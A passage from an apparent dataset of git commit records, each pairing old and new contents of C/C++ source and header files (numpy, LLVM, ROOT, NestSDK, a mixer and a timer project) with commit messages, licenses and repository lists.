args);\n\tprintf(\"%24s:%03d  %s\\n\", file, line, _buffer);\n}\n\nvoid whitgl_panic(const char *file, const int line, const char *str, ...)\n{\n\tva_list args;\n\tva_start(args, str);\n\tvsnprintf(_buffer, LOG_BUFFER_MAX, str, args);\n\tprintf(\"PANIC %24s:%03d  %s\\n\", file, line, _buffer);\n\t__builtin_trap();\n}","subject":"Use __builtin_trap to break to debugger","message":"Use __builtin_trap to break to debugger\n","lang":"C","license":"mit","repos":"whitingjp\/whitgl,whitingjp\/whitgl,whitingjp\/whitgl,whitingjp\/whitgl"}
{"commit":"18ab829f18d2d6e3ef8330820ee95dab9a24809a","old_file":"test\/src\/test_util.c","new_file":"test\/src\/test_util.c","old_contents":"#include \"test_util.h\"\n#include <util.h>\n#include <ftw.h>\n#include <stdio.h>\n\nstatic int remove_callback(const char* file,\n                           const struct stat* UNUSED(stat),\n                           int UNUSED(typeflag),\n                           struct FTW* UNUSED(ftwbuf)) {\n    return remove(file);\n}\n\nint delete_directory(const char* dir) {\n    const int max_fds = 64;\n    return nftw(dir, remove_callback, max_fds, FTW_DEPTH | FTW_PHYS);\n}\n","new_contents":"#include \"test_util.h\"\n#include <util.h>\n#include <ftw.h>\n#include <stdio.h>\n\nstatic int remove_callback(const char* file,\n                           const struct stat* UNUSED(stat),\n                           int UNUSED(typeflag),\n                           struct FTW* UNUSED(ftwbuf)) {\n    return remove(file);\n}\n\nint delete_directory(const char* dir) {\n    struct stat st;\n    const int max_fds = 64;\n    int i = stat(dir, &st);\n    if (i == 0) {\n        return nftw(dir, remove_callback, max_fds, FTW_DEPTH | FTW_PHYS);\n    }\n    return 0;\n}\n","subject":"Delete test directory only if it exists","message":"Delete test directory only if it exists\n\nThis should fix tests.\n","lang":"C","license":"bsd-3-clause","repos":"rbruggem\/mqlog,rbruggem\/mqlog"}
{"commit":"f97b16539903d9cdf18fedde80d8c70e629f7935","old_file":"numpy\/core\/src\/multiarray\/multiarraymodule_onefile.c","new_file":"numpy\/core\/src\/multiarray\/multiarraymodule_onefile.c","old_contents":"\/*\n * This file includes all the .c files needed for a complete multiarray module.\n * This is used in the case where separate compilation is not enabled\n *\/\n\n#include \"common.c\"\n\n#include \"hashdescr.c\"\n#include \"numpyos.c\"\n#include \"scalarapi.c\"\n#include \"descriptor.c\"\n#include \"flagsobject.c\"\n#include \"ctors.c\"\n#include \"iterators.c\"\n#include \"mapping.c\"\n#include \"number.c\"\n#include \"getset.c\"\n#include \"sequence.c\"\n#include \"methods.c\"\n#include \"convert_datatype.c\"\n#include \"convert.c\"\n#include \"shape.c\"\n#include \"item_selection.c\"\n#include \"calculation.c\"\n#include \"usertypes.c\"\n#include \"refcount.c\"\n#include \"conversion_utils.c\"\n#include \"buffer.c\"\n\n#include \"arraytypes.c\"\n#include \"scalartypes.c\"\n\n#ifndef Py_UNICODE_WIDE\n#include \"ucsnarrow.c\"\n#endif\n\n#include \"arrayobject.c\"\n\n#include \"multiarraymodule.c\"\n","new_contents":"\/*\n * This file includes all the .c files needed for a complete multiarray module.\n * This is used in the case where separate compilation is not enabled\n *\n * Note that the order of the includs matters\n *\/\n\n#include \"common.c\"\n\n#include \"arraytypes.c\"\n\n#include \"hashdescr.c\"\n#include \"numpyos.c\"\n#include \"scalarapi.c\"\n#include \"descriptor.c\"\n#include \"flagsobject.c\"\n#include \"ctors.c\"\n#include \"iterators.c\"\n#include \"mapping.c\"\n#include \"number.c\"\n#include \"getset.c\"\n#include \"sequence.c\"\n#include \"methods.c\"\n#include \"convert_datatype.c\"\n#include \"convert.c\"\n#include \"shape.c\"\n#include \"item_selection.c\"\n#include \"calculation.c\"\n#include \"usertypes.c\"\n#include \"refcount.c\"\n#include \"conversion_utils.c\"\n#include \"buffer.c\"\n\n#include \"scalartypes.c\"\n\n#ifndef Py_UNICODE_WIDE\n#include \"ucsnarrow.c\"\n#endif\n\n#include \"arrayobject.c\"\n\n#include \"multiarraymodule.c\"\n","subject":"Include arraytypes.c early for the no separate compilation case.","message":"Include arraytypes.c early for the no  separate compilation case.\n","lang":"C","license":"bsd-3-clause","repos":"rmcgibbo\/numpy,stuarteberg\/numpy,hainm\/numpy,ajdawson\/numpy,jonathanunderwood\/numpy,jonathanunderwood\/numpy,njase\/numpy,MaPePeR\/numpy,rhythmsosad\/numpy,simongibbons\/numpy,dimasad\/numpy,mhvk\/numpy,Srisai85\/numpy,CMartelLML\/numpy,rhythmsosad\/numpy,solarjoe\/numpy,Anwesh43\/numpy,cowlicks\/numpy,sinhrks\/numpy,ContinuumIO\/numpy,NextThought\/pypy-numpy,Srisai85\/numpy,yiakwy\/numpy,MaPePeR\/numpy,sigma-random\/numpy,jorisvandenbossche\/numpy,dato-code\/numpy,joferkington\/numpy,endolith\/numpy,immerrr\/numpy,pbrod\/numpy,naritta\/numpy,pdebuyl\/numpy,numpy\/numpy-refactor,astrofrog\/numpy,has2k1\/numpy,trankmichael\/numpy,numpy\/numpy-refactor,simongibbons\/numpy,ahaldane\/numpy,ContinuumIO\/numpy,musically-ut\/numpy,utke1\/numpy,ddasilva\/numpy,GaZ3ll3\/numpy,tynn\/numpy,ViralLeadership\/numpy,mindw\/numpy,matthew-brett\/numpy,ChristopherHogan\/numpy,tdsmith\/numpy,jschueller\/numpy,tdsmith\/numpy,ewmoore\/numpy,mortada\/numpy,skymanaditya1\/numpy,rajathkumarmp\/numpy,ViralLeadership\/numpy,embray\/numpy,ewmoore\/numpy,ESSS\/numpy,sinhrks\/numpy,MaPePeR\/numpy,cowlicks\/numpy,kirillzhuravlev\/numpy,seberg\/numpy,Yusa95\/numpy,ChristopherHogan\/numpy,grlee77\/numpy,ajdawson\/numpy,chiffa\/numpy,ahaldane\/numpy,ekalosak\/numpy,Eric89GXL\/numpy,chatcannon\/numpy,ddasilva\/numpy,larsmans\/numpy,pyparallel\/numpy,maniteja123\/numpy,dwf\/numpy,andsor\/numpy,tynn\/numpy,bertrand-l\/numpy,groutr\/numpy,pizzathief\/numpy,skwbc\/numpy,BMJHayward\/numpy,Yusa95\/numpy,grlee77\/numpy,leifdenby\/numpy,brandon-rhodes\/numpy,musically-ut\/numpy,GrimDerp\/numpy,dwillmer\/numpy,andsor\/numpy,mindw\/numpy,cjermain\/numpy,AustereCuriosity\/numpy,bringingheavendown\/numpy,musically-ut\/numpy,Eric89GXL\/numpy,bringingheavendown\/numpy,mingwpy\/numpy,njase\/numpy,rudimeier\/numpy,WarrenWeckesser\/numpy,ahaldane\/numpy,madphysicist\/numpy,empeeu\/numpy,ogrisel\/numpy,WillieMaddox\/numpy,Dapid\/numpy,ChanderG\/numpy,matthew-brett\/numpy,jakirkham\/numpy,ajdawson\/numpy,shoyer\/numpy,rudimeier\/numpy,chiffa\/numpy,ChanderG\/numpy,dimasad\/numpy,tacaswell\/numpy,bmorris3\/numpy,sonnyhu\/numpy,gfyoung\/numpy,ogrisel\/numpy,yiakwy\/numpy,groutr\/numpy,dwillmer\/numpy,trankmichael\/numpy,pelson\/numpy,ChristopherHogan\/numpy,pizzathief\/numpy,chatcannon\/numpy,solarjoe\/numpy,groutr\/numpy,mathdd\/numpy,bertrand-l\/numpy,jorisvandenbossche\/numpy,mingwpy\/numpy,pelson\/numpy,argriffing\/numpy,GrimDerp\/numpy,simongibbons\/numpy,felipebetancur\/numpy,rmcgibbo\/numpy,abalkin\/numpy,dch312\/numpy,charris\/numpy,ajdawson\/numpy,maniteja123\/numpy,jakirkham\/numpy,simongibbons\/numpy,pbrod\/numpy,anntzer\/numpy,immerrr\/numpy,pelson\/numpy,numpy\/numpy,skymanaditya1\/numpy,ViralLeadership\/numpy,tdsmith\/numpy,hainm\/numpy,astrofrog\/numpy,rgommers\/numpy,joferkington\/numpy,WarrenWeckesser\/numpy,Anwesh43\/numpy,stuarteberg\/numpy,SiccarPoint\/numpy,embray\/numpy,dato-code\/numpy,joferkington\/numpy,shoyer\/numpy,ewmoore\/numpy,madphysicist\/numpy,sigma-random\/numpy,mortada\/numpy,abalkin\/numpy,Anwesh43\/numpy,dwf\/numpy,jankoslavic\/numpy,shoyer\/numpy,Dapid\/numpy,jakirkham\/numpy,jschueller\/numpy,cowlicks\/numpy,BMJHayward\/numpy,mwiebe\/numpy,mingwpy\/numpy,mortada\/numpy,SunghanKim\/numpy,moreati\/numpy,MichaelAquilina\/numpy,CMartelLML\/numpy,utke1\/numpy,Linkid\/numpy,solarjoe\/numpy,drasmuss\/numpy,stuarteberg\/numpy,shoyer\/numpy,naritta\/numpy,trankmichael\/numpy,rhythmsosad\/numpy,jankoslavic\/numpy,GaZ3ll3\/numpy,has2k1\/numpy,githubmlai\/numpy,MichaelAquilina\/numpy,abalkin\/numpy,sigma-random\/numpy,embray\/numpy,brandon-rhodes\/numpy,charris\/numpy,astrofrog\/numpy,hainm\/numpy,charris\/numpy,anntzer\/numpy,brandon-rhodes\/numpy,ChristopherHogan\/numpy,ahaldane\/numpy,stefanv\/numpy,chatcannon\/numpy,tynn\/numpy,brandon-rhodes\/numpy,BabeNovelty\/numpy,MichaelAquilina\/numpy,yiakwy\/numpy,stuarteberg\/numpy,bmorris3\/numpy,Eric89GXL\/numpy,pyparallel\/numpy,empeeu\/numpy,pdebuyl\/numpy,madphysicist\/numpy,hainm\/numpy,bertrand-l\/numpy,ChanderG\/numpy,mwiebe\/numpy,AustereCuriosity\/numpy,rgommers\/numpy,kiwifb\/numpy,tacaswell\/numpy,nbeaver\/numpy,ekalosak\/numpy,MSeifert04\/numpy,ahaldane\/numpy,dch312\/numpy,matthew-brett\/numpy,NextThought\/pypy-numpy,sigma-random\/numpy,numpy\/numpy,mhvk\/numpy,githubmlai\/numpy,NextThought\/pypy-numpy,BabeNovelty\/numpy,githubmlai\/numpy,pelson\/numpy,kiwifb\/numpy,jorisvandenbossche\/numpy,argriffing\/numpy,rajathkumarmp\/numpy,ogrisel\/numpy,cowlicks\/numpy,pizzathief\/numpy,numpy\/numpy,dch312\/numpy,BabeNovelty\/numpy,sinhrks\/numpy,rhythmsosad\/numpy,rajathkumarmp\/numpy,cjermain\/numpy,mindw\/numpy,MaPePeR\/numpy,b-carter\/numpy,matthew-brett\/numpy,numpy\/numpy-refactor,githubmlai\/numpy,rmcgibbo\/numpy,larsmans\/numpy,astrofrog\/numpy,simongibbons\/numpy,rherault-insa\/numpy,pyparallel\/numpy,jorisvandenbossche\/numpy,endolith\/numpy,ContinuumIO\/numpy,mortada\/numpy,SunghanKim\/numpy,BMJHayward\/numpy,chiffa\/numpy,matthew-brett\/numpy,b-carter\/numpy,rgommers\/numpy,madphysicist\/numpy,b-carter\/numpy,bmorris3\/numpy,felipebetancur\/numpy,mattip\/numpy,astrofrog\/numpy,skymanaditya1\/numpy,rherault-insa\/numpy,seberg\/numpy,ekalosak\/numpy,BabeNovelty\/numpy,rgommers\/numpy,jonathanunderwood\/numpy,MSeifert04\/numpy,mwiebe\/numpy,mathdd\/numpy,moreati\/numpy,bmorris3\/numpy,jakirkham\/numpy,dimasad\/numpy,CMartelLML\/numpy,mathdd\/numpy,MSeifert04\/numpy,bringingheavendown\/numpy,dwf\/numpy,empeeu\/numpy,ewmoore\/numpy,pelson\/numpy,Srisai85\/numpy,Linkid\/numpy,nguyentu1602\/numpy,gmcastil\/numpy,ssanderson\/numpy,NextThought\/pypy-numpy,BMJHayward\/numpy,embray\/numpy,endolith\/numpy,GrimDerp\/numpy,mhvk\/numpy,ekalosak\/numpy,grlee77\/numpy,ewmoore\/numpy,kirillzhuravlev\/numpy,Srisai85\/numpy,embray\/numpy,dato-code\/numpy,naritta\/numpy,jschueller\/numpy,kirillzhuravlev\/numpy,has2k1\/numpy,Yusa95\/numpy,kirillzhuravlev\/numpy,nguyentu1602\/numpy,ssanderson\/numpy,andsor\/numpy,skwbc\/numpy,SiccarPoint\/numpy,Yusa95\/numpy,mingwpy\/numpy,mathdd\/numpy,mattip\/numpy,larsmans\/numpy,rudimeier\/numpy,gmcastil\/numpy,cjermain\/numpy,mattip\/numpy,KaelChen\/numpy,skwbc\/numpy,Eric89GXL\/numpy,stefanv\/numpy,seberg\/numpy,Linkid\/numpy,cjermain\/numpy,rudimeier\/numpy,argriffing\/numpy,jankoslavic\/numpy,mhvk\/numpy,ogrisel\/numpy,dwf\/numpy,drasmuss\/numpy,anntzer\/numpy,ogrisel\/numpy,yiakwy\/numpy,moreati\/numpy,pdebuyl\/numpy,KaelChen\/numpy,tdsmith\/numpy,dwillmer\/numpy,maniteja123\/numpy,mattip\/numpy,felipebetancur\/numpy,rajathkumarmp\/numpy,CMartelLML\/numpy,SiccarPoint\/numpy,leifdenby\/numpy,tacaswell\/numpy,WillieMaddox\/numpy,nguyentu1602\/numpy,GrimDerp\/numpy,Linkid\/numpy,drasmuss\/numpy,Anwesh43\/numpy,immerrr\/numpy,GaZ3ll3\/numpy,rherault-insa\/numpy,dwf\/numpy,gfyoung\/numpy,grlee77\/numpy,AustereCuriosity\/numpy,Dapid\/numpy,GaZ3ll3\/numpy,jorisvandenbossche\/numpy,shoyer\/numpy,trankmichael\/numpy,njase\/numpy,stefanv\/numpy,jakirkham\/numpy,SunghanKim\/numpy,WarrenWeckesser\/numpy,numpy\/numpy,empeeu\/numpy,ESSS\/numpy,KaelChen\/numpy,numpy\/numpy-refactor,ChanderG\/numpy,gfyoung\/numpy,charris\/numpy,stefanv\/numpy,pizzathief\/numpy,dwillmer\/numpy,stefanv\/numpy,endolith\/numpy,jschueller\/numpy,rmcgibbo\/numpy,MSeifert04\/numpy,WillieMaddox\/numpy,anntzer\/numpy,dch312\/numpy,pbrod\/numpy,mindw\/numpy,utke1\/numpy,larsmans\/numpy,skymanaditya1\/numpy,madphysicist\/numpy,sinhrks\/numpy,has2k1\/numpy,pdebuyl\/numpy,WarrenWeckesser\/numpy,musically-ut\/numpy,nbeaver\/numpy,felipebetancur\/numpy,SiccarPoint\/numpy,seberg\/numpy,gmcastil\/numpy,KaelChen\/numpy,SunghanKim\/numpy,MSeifert04\/numpy,nguyentu1602\/numpy,WarrenWeckesser\/numpy,joferkington\/numpy,dato-code\/numpy,behzadnouri\/numpy,ESSS\/numpy,sonnyhu\/numpy,pbrod\/numpy,leifdenby\/numpy,mhvk\/numpy,behzadnouri\/numpy,dimasad\/numpy,nbeaver\/numpy,pbrod\/numpy,sonnyhu\/numpy,ddasilva\/numpy,jankoslavic\/numpy,MichaelAquilina\/numpy,andsor\/numpy,kiwifb\/numpy,numpy\/numpy-refactor,pizzathief\/numpy,ssanderson\/numpy,behzadnouri\/numpy,immerrr\/numpy,sonnyhu\/numpy,grlee77\/numpy,naritta\/numpy"}
{"commit":"dd61142aeb5732142483b303c8f54224ba274b3d","old_file":"NestSDK\/NestSDK\/NestSDKAccessToken.h","new_file":"NestSDK\/NestSDK\/NestSDKAccessToken.h","old_contents":"#import <Foundation\/Foundation.h>\n#import <JSONModel\/JSONModel.h>\n\n#pragma mark macros\n\n#pragma mark const\n\nFOUNDATION_EXTERN NSString *const NestSDKAccessTokenDidChangeNotification;\n\n#pragma mark enum\n\n#pragma mark typedef\n\n#pragma mark Protocol\n\n@interface NestSDKAccessToken : NSObject <NSSecureCoding>\n#pragma mark Properties\n\n@property(readonly, nonatomic) NSDate *expirationDate;\n@property(readonly, copy, nonatomic) NSString *tokenString;\n\n#pragma mark Methods\n\n- (instancetype)initWithTokenString:(NSString *)tokenString expirationDate:(NSDate *)expirationDate NS_DESIGNATED_INITIALIZER;\n\n- (BOOL)isEqualToAccessToken:(NestSDKAccessToken *)token;\n\n+ (NestSDKAccessToken *)currentAccessToken;\n\n+ (void)setCurrentAccessToken:(NestSDKAccessToken *)token;\n\n\n@end","new_contents":"#import <Foundation\/Foundation.h>\n#import <JSONModel\/JSONModel.h>\n\n#pragma mark macros\n\n#pragma mark const\n\nFOUNDATION_EXTERN NSString *const NestSDKAccessTokenDidChangeNotification;\n\nFOUNDATION_EXTERN NSString *const NestSDKAccessTokenChangeNewKey;\nFOUNDATION_EXTERN NSString *const NestSDKAccessTokenChangeOldKey;\n\n#pragma mark enum\n\n#pragma mark typedef\n\n#pragma mark Protocol\n\n@interface NestSDKAccessToken : NSObject <NSSecureCoding>\n#pragma mark Properties\n\n@property(readonly, nonatomic) NSDate *expirationDate;\n@property(readonly, copy, nonatomic) NSString *tokenString;\n\n#pragma mark Methods\n\n- (instancetype)initWithTokenString:(NSString *)tokenString expirationDate:(NSDate *)expirationDate NS_DESIGNATED_INITIALIZER;\n\n- (BOOL)isEqualToAccessToken:(NestSDKAccessToken *)token;\n\n+ (NestSDKAccessToken *)currentAccessToken;\n\n+ (void)setCurrentAccessToken:(NestSDKAccessToken *)token;\n\n\n@end","subject":"Access token change key added for export","message":"Access token change key added for export\n","lang":"C","license":"mit","repos":"petroakzhygitov\/nest-ios-sdk,petroakzhygitov\/nest-ios-sdk,petroakzhygitov\/nest-ios-sdk"}
{"commit":"2af2e83757582fdc8f5838562d2c6377afef4536","old_file":"include\/Mixer.h","new_file":"include\/Mixer.h","old_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2017 Pierre Pronchery <khorben@defora.org> *\/\n\/* This file is part of DeforaOS Desktop Mixer *\/\n\/* This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, version 3 of the License.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>. *\/\n\n\n\n#ifndef DESKTOP_MIXER_H\n# define DESKTOP_MIXER_H\n\n\n# include \"Mixer\/control.h\"\n\n#endif \/* !DESKTOP_MIXER_H *\/\n","new_contents":"\/* $Id$ *\/\n\/* Copyright (c) 2017 Pierre Pronchery <khorben@defora.org> *\/\n\/* This file is part of DeforaOS Desktop Mixer *\/\n\/* All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n * IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED\n * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *\/\n\n\n\n#ifndef DESKTOP_MIXER_H\n# define DESKTOP_MIXER_H\n\n\n# include \"Mixer\/control.h\"\n\n#endif \/* !DESKTOP_MIXER_H *\/\n","subject":"Complete the license switch to 2-clause BSD","message":"Complete the license switch to 2-clause BSD\n\nThanks ocochard for the heads up!\n","lang":"C","license":"bsd-2-clause","repos":"DeforaOS\/Mixer,DeforaOS\/Mixer"}
{"commit":"cdc4160c8aff31bdb7859285d021f5a122ed755d","old_file":"docs\/sample_code\/MYINST\/MYINST.h","new_file":"docs\/sample_code\/MYINST\/MYINST.h","old_contents":"#include <Instrument.h>      \/\/ the base class for this instrument\n\nclass MYINST : public Instrument {\n\npublic:\n\tMYINST();\n\tvirtual ~MYINST();\n\tvirtual int init(double *, int);\n\tvirtual int configure();\n\tvirtual int run();\n\nprivate:\n\tvoid doupdate();\n\n\tint _nargs, _inchan, _branch;\n\tfloat _amp, _pan;\n\tfloat *_in;\n};\n\n","new_contents":"#include <Instrument.h>      \/\/ the base class for this instrument\n\nclass MYINST : public Instrument {\n\npublic:\n\tMYINST();\n\tvirtual ~MYINST();\n\tvirtual int init(double *, int);\n\tvirtual int configure();\n\tvirtual int run();\n\nprivate:\n\tvoid doupdate();\n\n\tfloat *_in;\n\tint _nargs, _inchan, _branch;\n\tfloat _amp, _pan;\n};\n\n","subject":"Change order of declarations to suppress compiler warning.","message":"Change order of declarations to suppress compiler warning.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"c4faa6a77516f51e292f32b4bbe379a9ceffcd73","old_file":"geom\/geocad\/inc\/TOCCExports.h","new_file":"geom\/geocad\/inc\/TOCCExports.h","old_contents":"\/\/ @(#)geom\/geocad:$Id$\n\/\/ Author: Cinzia Luzzi   5\/5\/2012\n\n\/*************************************************************************\n * Copyright (C) 1995-2018, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TOCCExports\n#define ROOT_TOCCExports\n\n\/\/ Combine all OCE headers used by geocad.\n\/\/ After including them, #undef Handle.\n\n#define Printf Printf_opencascade\n#include <TDF_Label.hxx>\n#include <TDocStd_Document.hxx>\n#include <Standard_Version.hxx>\n#include <STEPCAFControl_Writer.hxx>\n#include <XCAFDoc_ShapeTool.hxx>\n#include <TopoDS_Shape.hxx>\n#include <TopoDS_Wire.hxx>\n#undef Printf\n\n\n\/\/ ROOT-9837\n#if defined(Handle) && !defined(R__Needs_Handle)\n#undef Handle\n#endif\n\n#endif\n","new_contents":"\/\/ @(#)geom\/geocad:$Id$\n\/\/ Author: Cinzia Luzzi   5\/5\/2012\n\n\/*************************************************************************\n * Copyright (C) 1995-2018, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TOCCExports\n#define ROOT_TOCCExports\n\n\/\/ Combine all OCE headers used by geocad.\n\/\/ After including them, #undef Handle.\n\n#include <TDF_Label.hxx>\n#include <TDocStd_Document.hxx>\n#include <Standard_Version.hxx>\n#include <STEPCAFControl_Writer.hxx>\n#include <XCAFDoc_ShapeTool.hxx>\n\n#define Printf Printf_opencascade\n#include <TopoDS_Shape.hxx>\n#include <TopoDS_Wire.hxx>\n#undef Printf\n\n\n\/\/ ROOT-9837\n#if defined(Handle) && !defined(R__Needs_Handle)\n#undef Handle\n#endif\n\n#endif\n","subject":"Revert \"[GeoCAD] Protect all of OpenCascade headers from declaring Printf.\"","message":"Revert \"[GeoCAD] Protect all of OpenCascade headers from declaring Printf.\"\n\nThis reverts commit c71e9ade417b5c1c9f3de614672a0060037df931.\n","lang":"C","license":"lgpl-2.1","repos":"olifre\/root,karies\/root,karies\/root,olifre\/root,olifre\/root,karies\/root,karies\/root,olifre\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,olifre\/root,olifre\/root,root-mirror\/root,olifre\/root,karies\/root,karies\/root,olifre\/root,root-mirror\/root,root-mirror\/root,karies\/root,root-mirror\/root,karies\/root,root-mirror\/root,root-mirror\/root,karies\/root,karies\/root,olifre\/root,karies\/root,root-mirror\/root,olifre\/root,root-mirror\/root,olifre\/root"}
{"commit":"e38001f6c6d0b792b6138ec9e924db8ffaa781e0","old_file":"include\/llvm\/System\/Process.h","new_file":"include\/llvm\/System\/Process.h","old_contents":"","new_contents":"\/\/===- llvm\/System\/Process.h ------------------------------------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Reid Spencer and is distributed under the \n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the llvm::sys::Process class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SYSTEM_PROCESS_H\n#define LLVM_SYSTEM_PROCESS_H\n\nnamespace llvm {\nnamespace sys {\n\n  \/\/\/ This class provides an abstraction for getting information about the\n  \/\/\/ currently executing process. \n  \/\/\/ @since 1.4\n  \/\/\/ @brief An abstraction for operating system processes.\n  class Process {\n    \/\/\/ @name Accessors\n    \/\/\/ @{\n    public:\n      \/\/\/ This static function will return the operating system's virtual memory\n      \/\/\/ page size.\n      \/\/\/ @returns The number of bytes in a virtual memory page.\n      \/\/\/ @throws nothing\n      \/\/\/ @brief Get the virtual memory page size\n      static unsigned GetPageSize();\n\n    \/\/\/ @}\n  };\n}\n}\n\n\/\/ vim: sw=2\n\n#endif\n","subject":"Add methods for detecting different kinds of files by their magic number, getting the suffix for shared objects, and extracting the basename from a path.","message":"Add methods for detecting different kinds of files by their magic number,\ngetting the suffix for shared objects, and extracting the basename from a\npath.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@16277 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"d37ba3ca6d6134078cf064cf69a6c0e25fdc35e0","old_file":"include\/uwhd\/sync\/ModelSync.h","new_file":"include\/uwhd\/sync\/ModelSync.h","old_contents":"\/\/===-- ModelSync.h - Wireless Syncing of GameModel ---------------- c++ --===\/\/\n\/\/\n\/\/                               UWH Timer\n\/\/\n\/\/           This file is distributed under the BSD 3-Clause License.\n\/\/                      See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef MODELSYNC_H\n#define MODELSYNC_H\n\n#include \"uwhd\/model\/GameModel.h\"\n\n#include <string>\n#include <vector>\n\nstruct ModelSync {\n  virtual ~ModelSync() = 0;\n  virtual void Init() = 0;\n  virtual void setMgr(GameModelManager *M) = 0;\n  virtual GameModelManager &getMgr() = 0;\n};\n\n\/\/struct ModelSyncPeer {\n\/\/  virtual std::string name() const = 0;\n\/\/  virtual std::string addr() const = 0;\n\/\/};\n\nstruct ModelSyncServer : public ModelSync {\n  virtual ~ModelSyncServer() = 0;\n  \/\/virtual std::vector<ModelSyncPeer*> peers() = 0;\n  \/\/virtual void claimPeer(const ModelSyncPeer *P) = 0;\n  \/\/virtual void getPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void setPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void adjustPeerWallClock(const ModelSyncPeer *P, int Delta) = 0;\n};\n\nModelSync *CreateSocketServer(const std::string &Port);\nModelSync *CreateSocketClient(const std::string &Host, const std::string &Port);\nModelSyncServer *CreateXBeeSyncServer();\nModelSync *CreateXBeeSyncClient();\n\n#endif\n","new_contents":"\/\/===-- ModelSync.h - Wireless Syncing of GameModel ---------------- c++ --===\/\/\n\/\/\n\/\/                               UWH Timer\n\/\/\n\/\/           This file is distributed under the BSD 3-Clause License.\n\/\/                      See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef MODELSYNC_H\n#define MODELSYNC_H\n\n#include \"uwhd\/model\/GameModel.h\"\n\n#include <string>\n#include <vector>\n\nstruct ModelSync {\n  virtual ~ModelSync() {};\n  virtual void Init() = 0;\n  virtual void setMgr(GameModelManager *M) = 0;\n  virtual GameModelManager &getMgr() = 0;\n};\n\n\/\/struct ModelSyncPeer {\n\/\/  virtual std::string name() const = 0;\n\/\/  virtual std::string addr() const = 0;\n\/\/};\n\nstruct ModelSyncServer : public ModelSync {\n  virtual ~ModelSyncServer() {};\n  \/\/virtual std::vector<ModelSyncPeer*> peers() = 0;\n  \/\/virtual void claimPeer(const ModelSyncPeer *P) = 0;\n  \/\/virtual void getPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void setPeerWallClock(const ModelSyncPeer *P) = 0;\n  \/\/virtual void adjustPeerWallClock(const ModelSyncPeer *P, int Delta) = 0;\n};\n\nModelSync *CreateSocketServer(const std::string &Port);\nModelSync *CreateSocketClient(const std::string &Host, const std::string &Port);\nModelSyncServer 